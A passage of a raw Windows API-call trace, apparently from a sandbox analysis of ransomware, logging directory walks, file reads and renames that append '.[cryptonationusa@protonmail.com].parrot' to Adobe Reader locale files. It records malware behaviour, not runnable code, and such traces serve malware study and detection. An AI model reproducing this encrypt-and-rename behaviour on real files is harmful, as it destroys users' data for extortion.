hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.997] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.999] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0259.000] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0259.000] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.000] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0259.000] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0259.000] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0259.000] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.000] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0259.002] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.002] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8fdd, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x8fdd, lpOverlapped=0x0) returned 1 [0259.003] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.004] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\DEXShare.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\dexshare.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0259.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.006] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0259.010] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.010] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0259.011] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.011] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe7, lpOverlapped=0x0) returned 1 [0259.011] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.011] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\Services.asfx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\services.asfx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0259.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d6080 | out: hHeap=0x5b0000) returned 1 [0259.015] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0259.015] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x26641f00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x26641f00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.015] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x26641f00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="DEXSHA~1.PAR")) returned 1 [0259.016] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.016] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.017] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.017] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2800, lpOverlapped=0x0) returned 1 [0259.018] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.019] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Spelling.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\spelling.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Spelling.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\spelling.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0259.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.022] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.022] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.024] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.024] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2a00, lpOverlapped=0x0) returned 1 [0259.025] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.025] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\updater.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\updater.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\updater.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\updater.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0259.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.029] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.030] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.031] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.031] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6e00, lpOverlapped=0x0) returned 1 [0259.032] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.033] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Weblink.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\weblink.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Weblink.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\weblink.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0259.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0259.040] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0259.040] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2668e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x2668e1c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.041] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x25b65aa0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xb328, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0259.041] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0259.043] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0259.043] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.043] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0259.043] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0259.043] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN", cAlternateFileName="ACCESS~1.JPN")) returned 1 [0259.043] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.043] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.045] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.045] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7c00, lpOverlapped=0x0) returned 1 [0259.046] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.048] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\accessibility.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\accessibility.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\accessibility.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\accessibility.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.051] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.052] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0259.055] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.055] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.056] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.056] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x48c00, lpOverlapped=0x0) returned 1 [0259.064] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.101] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\acroform.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\acroform.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0259.110] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.110] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.111] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.112] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0259.113] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.113] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\AdobeCollabSync.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\adobecollabsync.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\AdobeCollabSync.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\adobecollabsync.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0259.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0259.120] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.120] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.122] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.122] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x56c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x56c00, lpOverlapped=0x0) returned 1 [0259.133] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.142] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Annots.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\annots.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Annots.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\annots.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333a708 | out: hHeap=0x5b0000) returned 1 [0259.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0259.159] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.159] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.161] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.161] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2400, lpOverlapped=0x0) returned 1 [0259.162] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.162] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\BRdlang32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\brdlang32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\BRdlang32.JPN.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\brdlang32.jpn.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323000 | out: hHeap=0x5b0000) returned 1 [0259.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.170] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.171] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.172] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.172] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x15e00, lpOverlapped=0x0) returned 1 [0259.175] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.177] MoveFileExW 